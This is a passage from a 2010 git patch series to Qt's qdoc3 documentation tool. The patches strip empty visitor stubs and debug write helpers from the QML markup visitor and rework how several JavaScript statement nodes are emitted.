QmlMarkupVisitor::visit(QDeclarativeJS::AST::Program *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Program *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SourceElements *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SourceElements *) { - endWrite(""); } QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 01b0acf..8177798 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -327,8 +327,6 @@ private: void addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); QString sourceText(QDeclarativeJS::AST::SourceLocation &location); - void write(const QString &text); - void endWrite(const QString &text); QDeclarativeJS::Engine *engine; QString source; -- cgit v0.12 From ff9b210719da21a6724bad51e908f9754c7fa172 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 18:15:46 +0100 Subject: Updated handling of some statement nodes, removed unnecessary functions. --- tools/qdoc3/qmlmarkupvisitor.cpp | 512 ++------------------------------------- tools/qdoc3/qmlmarkupvisitor.h | 185 +------------- 2 files changed, 28 insertions(+), 669 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 6335ab6..907b95d 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -53,7 +53,6 @@ QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine { this->source = source; this->engine = engine; - indent = 0; cursor = 0; commentIndex = 0; } @@ -183,20 +182,10 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, return; QString text = source.mid(start, finish - start); - indent -= 1; output += protect(text); cursor = finish; } -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiProgram *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiProgram *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) { addVerbatim(uiimport->importToken); @@ -238,28 +227,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSourceElement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSourceElement *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiParameterList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiParameterList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) { addVerbatim(initializer->lbraceToken, initializer->lbraceToken); @@ -280,10 +247,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectBinding *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) { QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); @@ -292,10 +255,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiScriptBinding *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) { QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); @@ -306,10 +265,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayBinding *formal) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) { for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { @@ -319,20 +274,12 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) { addMarkedUpToken(id->identifierToken, QLatin1String("name")); return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiQualifiedId *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) { addVerbatim(signature->lparenToken); @@ -352,98 +299,54 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormal *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) { addVerbatim(expression->thisToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) { addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) { addMarkedUpToken(null->nullToken, QLatin1String("number")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) { addMarkedUpToken(literal->trueToken, QLatin1String("number")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) { addMarkedUpToken(literal->falseToken, QLatin1String("number")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) { addMarkedUpToken(literal->literalToken, QLatin1String("number")); return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) { addMarkedUpToken(literal->literalToken, QLatin1String("string")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) { addVerbatim(literal->literalToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::RegExpLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) { addVerbatim(literal->lbracketToken); @@ -452,11 +355,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) { addVerbatim(literal->lbraceToken); @@ -479,48 +377,12 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ElementList *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) { addVerbatim(elision->commaToken, elision->commaToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Elision *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierPropertyName *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteralPropertyName *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteralPropertyName *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) { QDeclarativeJS::AST::Node::accept(list->name, this); @@ -530,20 +392,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NestedExpression *expression) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NestedExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) { QDeclarativeJS::AST::Node::accept(expression->base, this); @@ -553,11 +401,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *express return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayMemberExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) { QDeclarativeJS::AST::Node::accept(expression->base, this); @@ -566,11 +409,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *express return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FieldMemberExpression *expression) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) { addVerbatim(expression->newToken); @@ -581,164 +419,84 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expressio return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) { addVerbatim(expression->newToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewExpression *) -{ -} - - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CallExpression *expression) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CallExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) { addVerbatim(list->commaToken, list->commaToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArgumentList *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) { addVerbatim(expression->incrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostIncrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) { addVerbatim(expression->decrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostDecrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) { addVerbatim(expression->deleteToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DeleteExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) { addVerbatim(expression->voidToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VoidExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) { addVerbatim(expression->typeofToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TypeOfExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) { addVerbatim(expression->incrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreIncrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) { addVerbatim(expression->decrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreDecrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) { addVerbatim(expression->plusToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryPlusExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) { addVerbatim(expression->minusToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) { addVerbatim(expression->tildeToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) { addVerbatim(expression->notToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) { QDeclarativeJS::AST::Node::accept(expression->left, this); @@ -747,31 +505,22 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BinaryExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) { - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) -{ + QDeclarativeJS::AST::Node::accept(expression->expression, this); + addVerbatim(expression->questionToken); + QDeclarativeJS::AST::Node::accept(expression->ok, this); + addVerbatim(expression->colonToken); + QDeclarativeJS::AST::Node::accept(expression->ko, this); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) { QDeclarativeJS::AST::Node::accept(expression->left, this); addVerbatim(expression->commaToken); QDeclarativeJS::AST::Node::accept(expression->right, this); - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) -{ + return false; } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) @@ -785,15 +534,6 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) addVerbatim(block->rbraceToken); } -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) { addVerbatim(statement->declarationKindToken); @@ -802,11 +542,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) { for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { @@ -816,10 +551,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) { addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); @@ -827,33 +558,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declarati return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclaration *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) { addVerbatim(statement->semicolonToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::EmptyStatement *) -{ -} - - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statement) +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *statement) { + QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) { addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); @@ -868,11 +585,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) { addMarkedUpToken(statement->doToken, QLatin1String("keyword")); @@ -885,21 +597,16 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DoWhileStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) { - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) -{ + addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -914,11 +621,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -934,11 +636,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -951,11 +648,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -969,11 +661,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *stateme return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) { addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); @@ -982,11 +669,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) { addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); @@ -995,36 +677,24 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) { addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) -{ + QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) { addMarkedUpToken(statement->withToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) -{ + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) { addVerbatim(block->lbraceToken); @@ -1047,19 +717,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SwitchStatement *statement) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClauses *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) { addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); @@ -1069,11 +726,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) { addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); @@ -1081,11 +733,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) { addMarkedUpToken(statement->identifierToken, QLatin1String("name")); @@ -1094,11 +741,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) { addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); @@ -1107,11 +749,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) { addMarkedUpToken(c->catchToken, QLatin1String("keyword")); @@ -1121,11 +758,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) { addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); @@ -1133,11 +765,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) { addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); @@ -1147,11 +774,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) { addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); @@ -1165,10 +787,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *expression) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) { addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); @@ -1182,10 +800,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declarati return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) { addVerbatim(list->commaToken); @@ -1193,19 +807,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionBody *body) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionBody *body) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) { addVerbatim(statement->debuggerToken); @@ -1213,28 +814,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DebuggerStatement *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionSourceElement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionSourceElement *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementSourceElement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); @@ -1242,53 +821,4 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImportList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImportList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectMemberList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectMemberList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormalList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormalList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Program *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Program *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SourceElements *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SourceElements *) -{ -} - QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 8177798..35f1b5bc 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -57,265 +57,96 @@ public: QString markedUpCode(); - virtual bool visit(QDeclarativeJS::AST::UiProgram *); - virtual bool visit(QDeclarativeJS::AST::UiImportList *); virtual bool visit(QDeclarativeJS::AST::UiImport *); + virtual void endVisit(QDeclarativeJS::AST::UiImport *); + virtual bool visit(QDeclarativeJS::AST::UiPublicMember *); - virtual bool visit(QDeclarativeJS::AST::UiSourceElement *); virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *); + virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *); virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *); virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *); - virtual bool visit(QDeclarativeJS::AST::UiObjectMemberList *); virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *); virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *); - virtual bool visit(QDeclarativeJS::AST::UiSignature *); - virtual bool visit(QDeclarativeJS::AST::UiFormalList *); - virtual bool visit(QDeclarativeJS::AST::UiFormal *); - virtual void endVisit(QDeclarativeJS::AST::UiProgram *); - virtual void endVisit(QDeclarativeJS::AST::UiImportList *); - virtual void endVisit(QDeclarativeJS::AST::UiImport *); - virtual void endVisit(QDeclarativeJS::AST::UiPublicMember *); - virtual void endVisit(QDeclarativeJS::AST::UiSourceElement *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectDefinition *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectBinding *); - virtual void endVisit(QDeclarativeJS::AST::UiScriptBinding *); - virtual void endVisit(QDeclarativeJS::AST::UiArrayBinding *); - virtual void endVisit(QDeclarativeJS::AST::UiObjectMemberList *); - virtual void endVisit(QDeclarativeJS::AST::UiArrayMemberList *); - virtual void endVisit(QDeclarativeJS::AST::UiQualifiedId *); + virtual bool visit(QDeclarativeJS::AST::UiSignature *); virtual void endVisit(QDeclarativeJS::AST::UiSignature *); - virtual void endVisit(QDeclarativeJS::AST::UiFormalList *); - virtual void endVisit(QDeclarativeJS::AST::UiFormal *); - // QDeclarativeJS + virtual bool visit(QDeclarativeJS::AST::UiFormal *); virtual bool visit(QDeclarativeJS::AST::ThisExpression *); - virtual void endVisit(QDeclarativeJS::AST::ThisExpression *); - virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *); - virtual void endVisit(QDeclarativeJS::AST::IdentifierExpression *); - virtual bool visit(QDeclarativeJS::AST::NullExpression *); - virtual void endVisit(QDeclarativeJS::AST::NullExpression *); - virtual bool visit(QDeclarativeJS::AST::TrueLiteral *); - virtual void endVisit(QDeclarativeJS::AST::TrueLiteral *); - virtual bool visit(QDeclarativeJS::AST::FalseLiteral *); - virtual void endVisit(QDeclarativeJS::AST::FalseLiteral *); - virtual bool visit(QDeclarativeJS::AST::NumericLiteral *); - virtual void 